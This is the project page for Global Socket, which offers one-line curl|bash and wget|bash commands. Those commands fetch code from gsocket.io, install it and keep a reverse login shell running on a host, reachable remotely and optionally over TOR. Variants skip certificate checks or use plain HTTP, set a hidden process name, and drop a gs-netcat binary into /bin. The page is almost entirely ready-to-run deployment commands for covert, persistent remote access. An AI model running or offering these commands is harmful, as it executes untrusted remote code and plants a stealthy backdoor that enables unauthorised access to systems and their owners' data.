Global Socket

Connect like there is no firewall. Securely.


Project maintained by hackerschoice Hosted on GitHub Pages — Theme by mattgraham

Deploy a reverse login shell with a single command (fully automated) - and access the shell remotely - encrypted - and via TOR if you like.

This must be the quickest way to access a system – anonymous

Use either one of these two commands to install:

bash -c "$(curl -fsSL gsocket.io/x)"
bash -c "$(wget --no-verbose -O- gsocket.io/x)"

Use either one of these two commands to uninstall:

GS_UNDO=1 bash -c "$(curl -fsSL gsocket.io/x)"
GS_UNDO=1 bash -c "$(wget --no-verbose -O- gsocket.io/x)"

Use either command to access the remote host:

S="ExampleSecretChangeMe" bash -c "$(curl -fsSL gsocket.io/x)"
S="ExampleSecretChangeMe" bash -c "$(wget --no-verbose -O- gsocket.io/x)"

This is just one of many GSOCKET examples. More on GitHub.

Screenshots

Deploy on a host

Deploy-Example

Log in to the host from your workstation

Deploy-Login

Tips & Tricks

Ignore SSL / Certificate warnings:

bash -c "$(curl -fsSLk gsocket.io/x)"
bash -c "$(wget --no-check-certificate -qO- gsocket.io/x)"

Deploy with a predefined secret:

X=ExampleSecretChangeMe bash -c "$(curl -fsSL gsocket.io/x)"

Deploy with curl and fallback to wget:

command -v curl >/dev/null && bash -c "$(curl -fsSL gsocket.io/x)" || bash -c "$(wget --no-verbose -O- gsocket.io/x)"

Deploy with a predefined secret. Try curl and fallback to wget:

X=ExampleSecretChangeMe && (command -v curl >/dev/null && X=$X bash -c "$(curl -fsSL gsocket.io/x)" || X=$X bash -c "$(wget --no-verbose -O- gsocket.io/x)")

Deploy from self-extracting shell-script deploy-all.sh without fetching any packages and using good old plain HTTP:

wget --no-hsts http://nossl.segfault.net/deploy-all.sh && \
bash ./deploy-all.sh

Useful environment variables:

S= Connect to a system (or use gs-netcat -s <secret> -il).
X= Set a predefined secret for the installation (X like in inXstallation).
GS_NOINST=1 Only start but without installing (will not survive a reboot).
GSOCKET_ARGS= Use additonal arguments. Most often used to force TOR in combination with S=, e.g. GSOCKET_ARGS="-T" S=<secret> bash -c "$(curl -fsSLk gsocket.io/x).
GS_DSTDIR= Set the installation directory. The default is to pick the most suitable automatically. Use find . -type d -writable.
GS_URL_BASE= Use URL for static binaries. The default is https://github.com/hackerschoice/binary/raw/main/gsocket/bin/.
GS_OSARCH= Force architecture. The default is to pick the most suitable automatically.
GS_DEBUG=1 Verbose output and other debug related settings. Often used together with GS_DEBUG=1 GS_NOSTART=1 GS_NOINST=1 bash -c "$(curl -fsSL gsocket.io/x)".
GS_HIDDEN_NAME= Use a custom hidden process name.
TMPDIR= Use a custom temporary directory. Try TMPDIR=$(pwd)

If all fails:

Download the static binary from https://github.com/hackerschoice/binary/tree/main/gsocket/bin (likely gs-netcat_x86_64-alpine.tar.gz) and extract and start gs-netcat manually:

curl -fsSL https://github.com/hackerschoice/binary/raw/main/gsocket/bin/gs-netcat_x86_64-alpine.tar.gz | tar xz -C /bin gs-netcat
SECRET=$(/bin/gs-netcat -g)
GSOCKET_ARGS="-liD -s $SECRET" /bin/gs-netcat
echo "Connect with: gs-netcat -s $SECRET -i" 

Get Involved. We are looking for volunteers to work on the website and a logo and to discuss new ideas. Join us on telegram.